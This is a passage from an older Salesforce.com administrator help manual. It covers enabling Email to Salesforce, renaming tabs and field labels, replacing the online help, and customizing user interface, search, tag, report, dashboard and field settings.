• You can use Email to Salesforce with email client applications such as IBM® Lotus Notes® and Microsoft® Outlook®, as
well as webmail such as Gmail™ and Yahoo! Mail™.
• Email to Salesforce discards email attachments.
• The email addresses you use to send Email to Salesforce must be configured in the My Acceptable Email Addresses
field in the My Email to Salesforce setup page.
• If Email to Salesforce matches an email address to multiple lead or contact records in Salesforce.com, you can choose to
associate the email with all matching records, the oldest record, or the record with the most activity.
• If Email to Salesforce matches an email to multiple opportunity records in Salesforce.com, the email is included in the
activity history on all matching open records.
• If you use Gmail, see Using Gmail in Salesforce.com on page 2033 to learn about the additional Gmail features that
Salesforce.com offers.
• Email to Salesforce can create a maximum of 50 email activities for each email it receives.
• Email text and HTML is automatically truncated to 32 KB.

To enable Email to Salesforce for your organization:

1. Click Setup ➤ Email Administration ➤ Email to Salesforce.


2. Click Edit.

401
Email Administration Enabling Email to Salesforce

3. Select the Active checkbox.


4. Optionally, select the Advanced Email Security Settings checkbox to configure Email to Salesforce to verify the
legitimacy of the sending server before processing a message. Email to Salesforce uses the following authentication protocols
to verify the sender's legitimacy:

• SPF
• SenderId
• DomainKeys

If the sending server passes at least one of these protocols and does not fail any, Email to Salesforce accepts the email. If
the server fails a protocol or does not support any of the protocols, Email to Salesforce ignores the email.
Tip: Before selecting the Advanced Email Security Settings checkbox, ensure that the senders you expect
to use Email to Salesforce support at least one of the authentication protocols listed above.

5. Click Save.
6. Optionally, click Send Notification Email to notify users that Email to Salesforce is activated, or click Skip This Step.

After enabling Email to Salesforce, Salesforce.com creates a unique Email to Salesforce address for each user. Users can click
Setup ➤ Email ➤ My Email to Salesforce to view their unique Email to Salesforce address and customize their settings. For
more information, see Using My Email to Salesforce Address on page 1531.

See Also:
What are Email Services?
Using Gmail in Salesforce.com

402
CUSTOMIZE

App Setup Overview


The available setup options vary according to which Salesforce.com Edition you have.

The App Setup page, accessed by clicking Setup ➤ App Setup, contains options to customize Salesforce.com, and build,
deploy, and manage applications.
Customize
Customize the standard tabs and types of records, including adding custom fields and setting page layouts. You can also
customize search, tagging, and user interface options for your organization.

Create
Use point-and-click tools to customize Salesforce.com and build your own applications to meet the needs of your business.
These tools do not require any programming knowledge.

Develop
Use Salesforce.com development tools to customize Salesforce.com and build your own applications. These tools may
require some programming knowledge.

Deploy
Monitor the deployments of setup configuration from Force.com IDE, Force.com Migration Tool, and other clients.
Note: Force.com IDE is a resource provided by salesforce.com to support its users and partners, but is not
considered part of our Services for purposes of the salesforce.com Master Subscription Agreement.

View Installed Packages

View and manage the packages that have been installed from Force.com AppExchange.

Critical Updates
Control when critical updates are enabled in your organization.

403
Customize Customization Overview

Customization Overview
The available customization options vary according to which Salesforce.com Edition you have.

User Permissions Needed


To view setup options: “View Setup and Configuration”
To customize your organization: “Customize Application”

You can customize each of the standard tabs and types of records, including adding custom fields and setting page layouts.
You can also customize search, tagging, and user interface options for your organization. In addition, every Contact Manager,
Group, Professional, Enterprise, and Unlimited Edition user can customize various personal display options.
To tailor Salesforce.com for your organization, you can customize the display of the various tabs and other items. Click Setup
➤ Customize and then select a link to view the following customization options:
Tab Names and Labels
Rename the labels for standard Salesforce.com tabs and fields.

Home
Add a logo, dashboard, or links to the Home tab and create additional home page layouts for different users.

Activities
Customize various options for tasks and events such as fields, page layouts, record types, validation rules, search layouts,
and buttons. Also, enable or disable functionality like activity reminder popups and recurring events.

Campaigns
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also
configure Campaign Influence.

Campaign Member
(Located under Campaigns) Edit fields, create validation rules and triggers, control the layout, and create custom
buttons and links.

Leads
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up lead queues, assignment rules, lead settings, and online lead capture.

Accounts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up account
teams.

404
Customize Customization Overview

Person Accounts
(Located under Accounts) Control the layout of fields, related lists, and custom links, and manage record types.

Contacts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.

Opportunities
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up team
selling.

Opportunity Products
(Located under Opportunities) Customize the standard fields, create custom fields, and control the layout of fields
on product pages within the Opportunities tab.

Forecasts
Customize your fiscal year settings, forecast period, default view, and forecast hierarchy. These options are only available
if your organization has enabled customizable forecasting.

Cases
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up case queues, case contact roles, assignment, auto-response, and escalation rules, and support settings.

Case Team
(Located under Cases) Define case teams and case team roles for your organization.

Email Messages
(Located under Cases) Create triggers for Email-to-Case or On-Demand Email-to-Case messages.

Case Comments
(Located under Cases) Create triggers for case comments.

Self-Service
Set up your public solutions, online case capture, and the Self-Service portal.

Call Center
Configure the Salesforce CRM Call Center by defining call centers, adding directory numbers, and customizing SoftPhone
layouts.

Contracts
Customize the standard picklist, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
the contract expiration notices for your organization and configure auto-calculation of contract end dates.

405
Customize Customization Overview

Solutions
You can customize the standard solution picklists, create custom fields and custom links, control the layout of fields,
related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.

Products
For Enterprise, Unlimited, and Developer Edition organizations, set up price books, products, and schedules.

Partners
Configure your partner portal or PRM Portal settings.

Salesforce to Salesforce
Enable Salesforce to Salesforce business collaboration both within and across Salesforce.com organizations.
Connection Finder
(located under Salesforce to Salesforce) Enable the ability to email partners a survey asking if they use Salesforce.com.
Also, customize default template used for the email and logo used for the survey.

Customer Portal
Enable the Customer Portal for your organization.

Ideas
Customize the standard picklists, create custom fields, and control the layout of fields for Enterprise, Unlimited, and
Developer Edition organizations. You can also establish comment validation rules and manage your communities.

Assets
Customize the standard fields, create custom fields, control the layout of fields on asset pages, set search results layouts,
and create custom links.

Territories
For Enterprise, Unlimited, and Developer Edition organizations, create and edit custom territory fields.

Users
Create custom fields and custom links for users.

Console
Create console layouts that display pertinent information to users.

Tags
Enable personal and public tags for your organization. You can also delete personal tags.

Reports & Dashboards


Customize user interface and email settings for reports and dashboards.

Search
Optimize search settings for your organization.

406
Customize Renaming Tab and Field Labels

User Interface
Enable Quick Create, collapsible page sections, related list hover links, and customize the sidebar for your organization,
among other options.

See Also:
Customizing Home Tab Page Layouts
Customizing Fields
Setting Custom Buttons and Links
Managing Page Layouts
Managing Multiple Business Processes
Managing Record Types
Managing Folders
Renaming Tab and Field Labels

Renaming Tab and Field Labels


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To rename tab and field labels: “Customize Application”
OR
“View Setup and Configuration”
AND
Be designated as a translator

To reset renamed tabs: “Customize Application”


OR
“View Setup and Configuration”
AND
Be designated as a translator

You can change the display labels of tabs, objects, fields, and other related user interface labels so they better reflect your
organization's business requirements. When you rename a label, such as changing the “Accounts” label to “Companies,” the
new label appears on all user pages, in Connect for Outlook, and in Connect Offline. With rare exception, all pages in the
Setup area use the default, original labels.
Before renaming tabs, objects, fields, and other related labels, review the implementation tips for administrators.

1. Click Setup ➤ Customize ➤ Tab Names and Labels ➤ Rename Tabs and Labels.
2. Select your default language from the Select Language drop-down list at the top of the page.

407
Customize Renaming Tab and Field Labels

3. Click Edit next to the tab you want to rename. Optionally, click Reset to change the name of your renamed tab to its
original name.
Note: You cannot reset custom object tab names.

4. Enter the singular and plural forms of the new tab label. Also, if applicable for the language, select the Starts with a
vowel sound checkbox for labels that start with a vowel. This ensures that the proper article (such as “a” or “an”) is used.
Then click Next.
A renamed tab or object cannot use the name of another standard tab, custom object, or custom tab.
5. Enter the standard field labels and other user interface labels to be used for the selected tab or object. Be sure to enter both
a singular and plural form for each label that requires it. Also, select the Starts with a vowel sound checkbox for
labels that start with a vowel.
If your organization uses person accounts, see Renaming Person Account Labels on page 408.
Note: Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming
because they track system information.

6. Click Save.
7. Repeat this procedure to translate labels into all other languages used in your organization.

Tip: After renaming a tab or object, rename any custom reports, dashboards, profiles, custom fields, and list views
that contain the original name. You can modify labels for custom field names, custom field help text, custom related
lists, custom web tabs, picklist values, record types, page layout sections, solution categories, data category groups, data
categories, field validation error messages, custom app names, custom s-control labels, custom buttons and links,
division names, Apex sharing reasons, workflow tasks subject and description, custom report type names, section names
on custom report type layouts, and column names displayed on the Select Columns page in the report wizard for
reports created from custom report types using the translation workbench. To rename a standard report, click Save
As from the report wizard and save it to a report folder designed for your new name.

Other tab customization options include the following:

• Individual users can control which tabs and related lists display for their own logins. For more information, see Customizing
Your Display on page 59.
• In addition to the standard tabs provided by Salesforce.com, users can create entirely new custom tabs depending on their
Edition. For more information, see Defining Custom Tabs on page 790.
• In Enterprise, Unlimited, and Developer Edition organizations, you can override the tab home page that is displayed when
a user clicks a standard or custom object tab. For more information, see Overriding Standard Buttons and Tab Home
Pages on page 659.

Renaming Person Account Labels

Person accounts available in: Enterprise, Unlimited, and Developer Editions

If your organization uses person accounts, you can rename the following standard field labels:

408
Customize Renaming Tab and Field Labels

Field Tab Description


Business Account Accounts An account that is not a person account because it does not
have a record type specific to person accounts. This label is
primarily used to clarify the type of accounts you are
importing.
Person Account Accounts A person account. For more information, see below.
Business Contact Contacts A contact that is associated with a business account. This label
is primarily used to clarify the type of accounts you are
importing.

When you rename the Person Account field label, the renamed label appears in Salesforce.com as follows:
• As a prefix to differentiate person account fields such as Birthdate and Home Phone from business account fields. For
example, Person Account: Birthdate is available as an account column in opportunity reports.
• In the name of the Is Person Account field and icon. For example, if you rename the Person Account field to
“Consumer,” then Is Person Account becomes Is Consumer.
Note: The Person Account and Business Account field labels are completely independent from actual record
type names. To customize person account record types, click Setup ➤ Customize ➤ Accounts ➤ Person Accounts
➤ Record Types. To customize business account record types, click Setup ➤ Customize ➤ Accounts ➤ Record
Types.

See Also:
Replacing Salesforce.com Online Help
Customization Overview
What is a Person Account?

Replacing Salesforce.com Online Help


Organizations that have renamed standard tabs, objects, fields, and other related user interface labels can also replace the
Salesforce.com online help with another URL. Users can view this URL whenever they click on any context-sensitive help
link on an end-user page or within Personal Setup. After you replace the help, the Help & Training link at the very top of
every page and all Administration Setup pages will continue to display Salesforce.com online help.

1. Click Setup ➤ Customize ➤ Tab Names and Labels ➤ Help Settings.


2. Enter the complete URL for your help file that you would like to replace the Salesforce.com online help.
3. Click Save.

Note: When you replace the Salesforce.com online help with your own help file, the Help & Training link still
displays Salesforce.com online help but the Help for this Page links on all pages other than within Administration
Setup are no longer context-sensitive. That is, your help file will open at the same place regardless of which page the
user is viewing when they click the link.
If you choose, you can make your help context-sensitive by taking advantage of the context-specific parameters that
are passed with each help link. For example, the help link from the Opportunities tab home page is constructed as
follows (without any linebreaks):

409
Customize Renaming Tab and Field Labels

http://your_help_file.com?loc=help&amp;body=%2Fhelp%2Fdoc%2Fen%2Fhelp2.jsp
&target=opp_overview.htm&section=Opportunities

The values of the target and section parameters are unique for every page within the application. You can parse
these parameters to display context-sensitive help content for your users.

See Also:
Renaming Tab and Field Labels
Custom Help Overview

Considerations for Renaming Tab and Field Labels


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To rename tab and field labels: “Customize Application”
To reset renamed tabs: “Customize Application”

Renaming standard and custom Salesforce.com tabs, objects, fields, and other related user interface labels is a valuable feature
that has far-reaching implications for all your users. Before renaming anything for your organization, review the following
considerations to determine how it will affect your users:

• Most standard tabs and objects can be renamed but not all. For example, the Forecasts tab is not available for renaming.
Click Setup ➤ Customize ➤ Tab Names and Labels ➤ Rename Tabs and Labels to view a list of the tabs and objects
you can rename.
• The renamed labels display on all user pages in Salesforce.com including Personal Setup. However, all pages in the Setup
area use the default, original labels.
• Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming because they
track system information.
• After renaming tabs, objects, or fields, check the following additional items that may need manual updates:

- Review all list view names. List view names continue to display the original object name until you change them manually.
- Check standard report names and descriptions for the objects you renamed.
- Update the titles and descriptions of any email templates that contain the original object or field name.
- Manually change any other items you customized with the standard object or field name. For example, custom fields,
page layouts, and record types may contain the original tab or field name.

• Connect for Outlook and Connect Offline use your new names.
• If you have renamed tabs, objects, or fields, you can also replace the Salesforce.com online help with another URL. Users
can view this URL whenever they click on any context-sensitive help link on an end-user page or within Personal Setup.
After you replace the help, the Help & Training link at the very top of every page and all Administration Setup pages

410
Customize Customizing User Interface Settings

will continue to display Salesforce.com online help. For instructions on replacing the online help, see Replacing
Salesforce.com Online Help on page 409.

See Also:
Renaming Tab and Field Labels

Customizing User Interface Settings


User interface settings available in: All Editions, except as noted
Disabling Quick Create available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions

User Permissions Needed


To modify user interface settings: “Customize Application”

To change your organization's user interface settings:

1. Click Setup ➤ Customize ➤ User Interface.


2. Select or deselect each checkbox to modify the user interface settings for your organization.
3. Click Save.

User Interface Settings


Enable Collapsible Sections
Collapsible sections give users the option to collapse or expand sections on their record detail pages using the arrow icon
next to the section heading. When enabling collapsible sections, make sure your section headings are displayed for each
page layout. Sections remain expanded or collapsed until the user changes his or her settings for that tab. If your
organization has enabled record types, Salesforce.com remembers a different setting for each record type.
Note: The sidebar cannot be collapsed if you are a Salesforce CRM Call Center user.

Show Quick Create


The Quick Create area on a tab home page allows users to create a new record quickly with minimal information. It
displays, by default, on the tab home pages for leads, accounts, contacts, forecasts, and opportunities. You can control
whether the Quick Create area is displayed on all relevant tab home pages.
Note: The Show Quick Create setting also affects whether or not users can create new records from within
the lookup dialog. For example, with the setting enabled, users can create a new account within the account
lookup dialog while creating or editing a contact. Creating new records in the lookup dialog is available only if
Quick Create is available for the type of record you are creating. In addition, users always need the appropriate
“Create” permission to use Quick Create even though it will be displayed for all users.

411
Customize Customizing User Interface Settings

Enable Hover Details


Hover details display an interactive overlay containing detailed information about a record when users hover the mouse
over a link to that record in the Recent Items list on the sidebar or in a lookup field on a record detail page. Users can
quickly view information about a record before clicking View for the record's detail page or Edit for the edit page. The
fields displayed in the hover details are determined by the record's mini page layout. The fields that display in document
hover details are not customizable. This option is enabled by default.
Note: To view the hover details for a record, users must have the appropriate sharing access to that record as
well as the necessary field-level security for the fields in the mini page layout.

Enable Related List Hover Links


Related list hover links display at the top of record detail pages and custom object detail pages in Setup. Users can hover
the mouse over a related list hover link to display the corresponding related list and its number of records in an interactive
overlay that allows users to quickly view and manage the related list items. Users can also click a related list hover link
to jump down to the content of the related list without having to scroll down the page. The Enable Related List
Hover Links checkbox is selected by default.

Enable Separate Loading of Related Lists


Select this option to enable the separate loading of record detail pages: primary record details load first, followed by
related list data. When you enable this option, users see primary record details immediately; as related list data loads,
users see a progress indicator. Separate loading can improve performance on record detail pages for organizations with
large numbers of related lists. This option is disabled by default. Note that this option does not apply to Visualforce
pages, user pages, the self-service portal, or other pages for which you cannot control the layout.

Enable Inline Editing


Inline editing allows users to quickly change field values on a record's detail page, saving the user from having to access
the record's edit page first. This option is enabled by default and applies to all users in your organization.
Note: This doesn't enable inline editing for profiles. To enable inline editing for profiles, select Enable
Enhanced Profile Management.

Enable Enhanced Lists


Enhanced lists give you the ability to quickly view, customize, and edit list data to speed up your daily productivity.
When enabled with the Enable Inline Editing setting, users can also edit records directly from the list, without
navigating away from the page. This option is enabled by default.
Note: This doesn't enable enhanced lists for profiles. To enable enhanced lists for profiles, select Enable
Enhanced Profile Management.

Enable Printable List Views


Printable list views allow users to easily print list views. If enabled, users can click the Printable View link from any list
view to open a new browser window, displaying the current list view in a simple, print-ready format. The link is located
next to the Help for this Page link in the colored title bar of the page.

Enable Spell Checker


Available in all Editions. If this option is selected, the Check Spelling button will appear in certain areas of the application
where text is entered, such as sending an email, or when creating events, tasks, cases, notes, and solutions. Clicking the
button checks the spelling of your text. Spell Checker does not support all the languages that Salesforce.com supports.
For example, Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese, are not supported.

412
Customize Customizing User Interface Settings

Enable Spell Checker on Tasks and Events


Available in all Editions. Select this checkbox to enable the Check Spelling button when users create or edit tasks or
events. The spell checker analyzes the Description field on events and the Comments field on tasks.

Sidebar Settings
Enable Collapsible Sidebar
The collapsible sidebar gives users the ability to show or hide the sidebar on every Salesforce.com page that normally
includes the sidebar. When you select the Enable Collapsible Sidebar setting, the collapsible sidebar becomes
available to all users in your organization, but each user can choose his or her own preference for displaying the sidebar.
Users can leave the sidebar visible at all times, or they can collapse the sidebar and only show it when needed by clicking
the edge of the collapsed sidebar. For more information on using the collapsible sidebar, see About the Sidebar on page
1595.
Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times
so you always have access to the Divisions drop-down list.

Show Custom Sidebar Components on All Pages


If you have custom home page layouts that include components in the sidebar, this option makes the sidebar components
available on all pages in Salesforce.com for all users in your organization. If you only want certain profiles to view sidebar
components on all pages, you can assign those profiles the “Show Custom Sidebar On All Pages” permission.
Note: If the Show Custom Sidebar Components on All Pages user interface setting is selected, the
“Show Customer Sidebar On All Pages” permission is not available.

Calendar Settings
Enable Home Page Hover Links for Events
Select this checkbox to enable hover links in the calendar section of the Home tab. On the Home tab, users can hover
the mouse over the subject of an event to see the details of the event in an interactive overlay. This option is enabled by
default. Note that this checkbox only controls the Home tab; hover links are always available on other calendar views.
The fields available in the event detail and edit overlays are defined in a mini page layout.
Note: If you create all day events, Salesforce.com recommends adding the All Day Event field to the events
mini page layout.

Enable Drag-and-Drop Editing on Calendar Views


Select this checkbox to enable the dragging of events on single user daily and weekly calendar views. This allows users
to reschedule events without leaving the page. This option is enabled by default. Note the following:
• Calendar views may load less quickly when this checkbox is enabled.
• Drag-and-drop editing is not available for calendar views in the console.
• Drag-and-drop editing is not available for multiday events.

Enable Click-and-Create Events on Calendar Views


Select this checkbox to enable users to create events on day and weekly calendar views by double-clicking a specific time
slot and entering the details of the event in an interactive overlay. The fields available in the event detail and edit overlays
are defined in a mini page layout.

413
Customize Customizing User Interface Settings

Note that recurring events and group events are not supported for click-and-create events on calendar views.

Enable Drag-and-Drop Scheduling on List Views


Select this checkbox to enable users to create events associated with records by dragging records from list views on to
weekly calendar views and entering the details of the event in an interactive overlay. This option is disabled by default.
The fields available in the event detail and edit overlays are defined in a mini page layout.

Enable Hover Links for My Tasks List


Select this checkbox to enable hover links for tasks in the My Tasks section of the Home tab and on the calendar day
view. This option is enabled by default. Users can hover the mouse over the subject of a task to see the details of that
task in an interactive overlay.
The information presented on these overlays is configured by your administrator.

Setup Settings
Enable Enhanced Page Layout Editor
Select this checkbox to activate the enhanced page layout editor for your organization. When enabled, the enhanced
page layout editor replaces the current interface for editing page layouts with a feature-rich WYSIWYG editor that
contains all of the functionality of the original page layout editor as well as several improvements.

Enable Enhanced Profile Management


Select this checkbox to activate enhanced list views and inline editing on the profile management page.

Advanced Settings
Activate Extended Mail Merge
Select this checkbox to activate Extended Mail Merge for your organization. When the checkbox is selected, the Mass
Mail Merge link is available in the Tools area on the home pages for accounts, contacts, and leads. Also, single mail
merges requested from the Activity History related list on a record are performed using Extended Mail Merge functionality.
For more information on using Salesforce.com to generate personalized form letters and other documents based on
templates, see Mail Merge Overview on page 1706.
Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in
this feature.

Always save Extended Mail Merge documents to the Documents tab


When this checkbox is selected, all mail merge documents generated using Extended Mail Merge are added to the user's
personal documents folder on the Documents tab, rather than delivered as email attachments. Users are sent confirmation
emails when their mail merge requests have completed. Those emails include links for retrieving generated documents
from the Documents tab. Note that these documents count against your organization's storage limits.

See Also:
Creating Records Using the Create New Drop-Down List

414
Customize Customizing Search Settings

Customizing Search Settings


Available in: All Editions

User Permissions Needed


To modify search settings: “Customize Application”

To change your organization's search settings:

1. Click Setup ➤ Customize ➤ Search ➤ Search Settings.


2. Modify the search settings for your organization. For a description of each setting, see Search Settings on page 415.
3. Click Save.

Search Settings
The search settings are:
Enable Object Drop-Down List for Sidebar Search
The object drop-down list for sidebar search allows you to limit users' sidebar searches by object. When you select
Enable Object Drop-Down List for Sidebar Search, a drop-down list appears in the Search section. From
this list users can select to search within a specific object or across all objects.
For more information on using the sidebar to perform searches, see Search Overview on page 2073.

Enable “Limit to Items I Own” Sidebar Search Checkbox


The Limit to Items I Own checkbox allows your users to include only records for which they are the record owner
when entering search queries in the sidebar.
For more information on using the sidebar to perform searches, see Search Overview on page 2073.
Note: The Limit to Items I Own checkbox that appears in Advanced Search is always available to users,
regardless of this setting.

Enable Document Content Search


Enabling Document Content Search allows you to perform a full-text search of a document. When a new document
is uploaded or an old one is replaced, its contents are available as search terms to retrieve the document.
For more information on how document content search works, see Searching for Documents on page 1521.

Enable Search Optimization if your Content is Mostly in Japanese, Chinese, or Korean


Enabling this checkbox optimizes search for the Japanese, Chinese, and Korean languages. It affects both the sidebar
search and the account search for Find Duplicates on a Lead record. Enable this option if users are searching in the
sidebar mostly in Japanese, Chinese, or Korean, and if the text in searchable fields is mostly in those languages.
Do not check this option if you expect content and searches to be mostly in other languages.

415
Customize Customizing Tag Settings

Use Recently Viewed User Records for Blank and Auto-Complete Lookups
If this setting is enabled, the list of records returned from a user auto-complete lookup and from a blank user lookup is
taken from the user's recently viewed user records.
If this setting is not enabled, the dialog shows a list of recently accessed user records from across your organization.

Number of Search Results Displayed Per Object


The Number of Search Results Displayed Per Object area allows you to configure the number of items that are returned
for each object in the Search Results page. The current setting is in parentheses next to each object. To make changes,
select one or more objects, enter the new number of results per page, and click Save. The new value must be between 5
and 50.
For more information on customizing search results, see Viewing Search Results on page 2087.

Lookup Settings
The Lookup Settings area allows you to enable enhanced lookups and lookup auto-completion for account, contact,
user, and any custom object lookups.
For more information on these features, see Lookup Dialog Search on page 2091.

See Also:
Search Overview

Customizing Tag Settings


Tag settings available in: All Editions

User Permissions Needed


To modify tag settings: “Customize Application”

Administrators can use the following tools to set up and manage personal and public tags:

• Tag Settings—Enable personal and public tags for accounts, activities, assets, campaigns, cases, contacts, contracts,
dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except
relationship group members).
• Personal Tag Cleanup—Delete the personal tags of your deactivated users.

See Also:
About Tagging
Using the Tags Sidebar Component
Tagging Records

416
Customize Customizing Tag Settings

Enabling Tags
Tag settings available in: All Editions

User Permissions Needed


To modify tag settings: “Customize Application”

To change your organization's tagging settings:

1. Click Setup ➤ Customize ➤ Tags ➤ Tag Settings.


2. Select Enable Personal Tags if you want to allow users to add personal tags to records, and select Enable Public
Tags if you want to allow users to add public tags to records. Deselect both options if you want to disable tagging.
3. If you are enabling tags, specify which objects and page layouts should display personal and public tags in a tag section at
the top of record detail pages. The tag section is the only way that a user can add tags to a record.
For example, if you only select one or more account page layouts, users in your organization can only tag account records.
Additionally, if you only select account page layouts in the Enable Personal Tags section and not in the Enable
Public Tags section, users can only tag account records with personal tags.

Note:

• When tags are enabled, you can also add personal and public tags to a page layout by editing the page layout
directly. See Customizing Page Layouts on page 620.
• Custom objects that do not have an associated tab are not returned in search results or displayed on the Tags
page, even if tags are enabled for the custom object. For custom object records to appear in search results or
the Tags page, an associated tab only needs to exist; the tab does not have to be visible to users.
• Customer Portal users cannot view the tags section of a page, even if it is included in a page layout.

4. Click Save.

Adding the Tags Component to the Sidebar


Once you have enabled tags for your organization, you can add the Tags component to your user's sidebar. This component
allows users to navigate to the Tags page where they can browse, search, and manage their tags. It also lists each user's most
recently used tags. To add this component:
1. Click Setup ➤ Customize ➤ Home ➤ Home Page Layouts.
2. Next to a home page layout that you want to modify, click Edit.
3. Select the Tags checkbox and click Next.
4. Arrange the Tags component on your page layout as desired, and click Save.

417
Customize Customizing Tag Settings

Tip: If you want the Tags component to appear on all pages and not just the Home tab, click Setup ➤ Customize
➤ User Interface, and select Show Custom Sidebar Components on All Pages.

See Also:
About Tagging
Using the Tags Sidebar Component
Tagging Records
Deleting Personal Tags for Deactivated Users

Deleting Personal Tags for Deactivated Users


Personal Tag Cleanup available in: All Editions

User Permissions Needed


To delete personal tags for deactivated users: “Customize Application”

Your organization can have up to 5,000,000 personal and public tags applied to records, across all users. If you are approaching
this limit, you can delete the personal tags for your deactivated users in the Personal Tag Cleanup page. To use this page:

1. Click Setup ➤ Customize ➤ Tags ➤ Personal Tag Cleanup.


2. Select one or more deactivated users and click Delete.

Once personal tags are deleted, they cannot be restored.

See Also:
About Tagging
Enabling Tags
Using the Tags Sidebar Component
Tagging Records

418
Customize Customizing Report and Dashboard Settings

Customizing Report and Dashboard Settings


Available in: All Editions

User Permissions Needed


To modify report and dashboard settings: “Customize Application”

Administrators can set up and manage report and dashboard settings from the Reports & Dashboards page. To get to this
page, click Setup ➤ Customize ➤ Reports & Dashboards and click the following links to access report and dashboard
settings:

• Customize report and dashboard user interface settings—Control features of the report and dashboard user interface,
such as floating report headers, the auto-complete Dashboard Finder, and charting options.
• Customize report and dashboard email settings—Control the way email notifications are sent, including image handling
in dashboard emails for Lotus Notes users and sending reports and dashboard refresh notifications to portal users.
• Customize report folders—Click this link to go to the last open report folder. From there, you can edit folder properties,
such as name, access, and sharing.

See Also:
Customizing Report and Dashboard User Interface Settings
Customizing Report and Dashboard Email Settings

Customizing Report and Dashboard User Interface Settings


Available in: All Editions

User Permissions Needed


To modify report and dashboard settings: “Customize Application”

To change your organization's report and dashboard user interface settings:

1. Click Setup ➤ Customize ➤ Reports & Dashboards ➤ User Interface Settings.


2. Select or deselect the following checkboxes to modify the settings for your organization:
Enable Floating Report Headers
Floating report headers keep the column headings on tabular reports in sight no matter how far users scroll down
report results. With floating report headers, users can scroll to the bottom of lengthy tabular reports without having
to scroll back to the top to view the names of the column headings. Users can also click floating report headers to

419
Customize Customizing Report and Dashboard Settings

sort data in a specific column. When users sort data by clicking a floating report heading, the report refreshes and
redirects users to the beginning of report results.

Use Auto-Complete When Choosing Dashboards


The auto-complete Dashboard Finder option allows you to quickly find dashboards while viewing a dashboard in
the Dashboards tab. This option is enabled by default. To find a dashboard on the Dashboards tab, start typing its
name in the search filter, and all dashboards matching that text are dynamically displayed in the drop-down list. You
can only see dashboards in folders to which you have access. Disable this option if you want to use a drop-down list
instead.
Important: This option is automatically disabled for all users that have access to more than 1000 dashboards.
These users will see the View Dashboard drop-down list on the Dashboards tab, even if this option is
enabled.

3. Click Save.

See Also:
Customizing Report and Dashboard Settings

Customizing Report and Dashboard Email Settings


Available in: All Editions

User Permissions Needed


To modify report and dashboard settings: “Customize Application”

To change your organization's report and dashboard email settings:

1. Click Setup ➤ Customize ➤ Reports & Dashboards ➤ Email Settings.


2. Select or deselect the following checkboxes to modify the settings for your organization:
Use Images Compatible with Lotus Notes in Dashboard Emails
Dashboard refresh notifications can be sent to specified users when a scheduled dashboard refresh completes. By
default, Salesforce.com sends images in dashboard emails as .png (Portable Network Graphic) files, which are not
supported in Lotus Notes. When you enable the Use Images Compatible with Lotus Notes in Dashboard
Emails option, Salesforce.com uses .jpg images, which Lotus Notes supports, when sending dashboard emails.
The “Schedule Dashboard” permission is required to view this option.
Note: Dashboard emails that contain images compatible with Lotus Notes are substantially larger and the
image quality may be lower.

420
Customize Customizing Fields

Allow Reports and Dashboards to Be Sent to Portal Users


This option, disabled by default, is available to Enterprise and Unlimited Edition organizations that have a Customer
Portal or partner portal set up. Unless enabled, only internal Salesforce.com users can receive reports and dashboard
refresh notifications. If you enable this option, all internal and portal users specified as recipients receive reports and
dashboards.
3. Click Save.

See Also:
Customizing Report and Dashboard Settings

Customizing Fields
Available in: All Editions

User Permissions Needed


To create or change custom fields: “Customize Application”
To change standard fields: “Customize Application”

Customize fields to tailor Salesforce.com to your organization’s unique requirements. You can:

• Modify some aspects of standard fields; see Customizing Standard Fields on page 422
• Change or add values to standard and custom picklist fields; see Modifying Picklists on page 423
• Define dependency rules between fields; see Defining Field Dependencies on page 429
• Create custom fields to capture additional information; see Creating Custom Fields on page 439
• Create formula fields that automatically calculate values based on the contents of other fields; see Building Formulas on
page 497
• Define default values for custom fields; see Defining Default Field Values on page 504
• Define validation rules for your fields; see Defining Validation Rules on page 510
• Make a field required everywhere in Salesforce.com; see About Universally Required Fields on page 542
• Set fields to track changes, including the date, time, nature of the change, and who made the change; see Tracking Field
History on page 457
• Create page layouts to control the display of fields; see Managing Page Layouts on page 618
• Set field-level security to control access to fields in Enterprise, Unlimited, and Developer Editions; see Setting Field-Level
Security on page 217

See Also:
Adding Fields and Relationships
Viewing Fields
Overview of Relationships
Creating a Many-to-Many Relationship

421
Customize Customizing Standard Fields

Customizing Standard Fields


Available in: All Editions

User Permissions Needed


To change standard fields: “Customize Application”

You can customize several aspects of standard fields, such as the values in picklists, the format for auto-number fields, tracking
field history, lookup filters on relationship fields, and field-level help.
In Enterprise, Unlimited, and Developer Editions, you can also view details about standard fields and set field-level security.

See Also:
Adding Fields and Relationships
Modifying Standard Auto-Number Fields
Viewing Fields
Setting Field-Level Security
Tracking Field History

Modifying Standard Auto-Number Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify standard auto-number fields: “Customize Application”

The unique identifiers for solutions, cases, and contracts are standard auto-number fields. Each record is assigned a unique
number with a specified format upon creation. You can modify the format and numbering for these auto-number fields.

1. Click Setup ➤ Customize, select the appropriate tab link, and then click the Fields link.
2. Click Edit next to the name of the field in the Standard Fields list.
3. Enter a Display Format to control such formatting details as the minimum number of leading zeros as well as any prefix
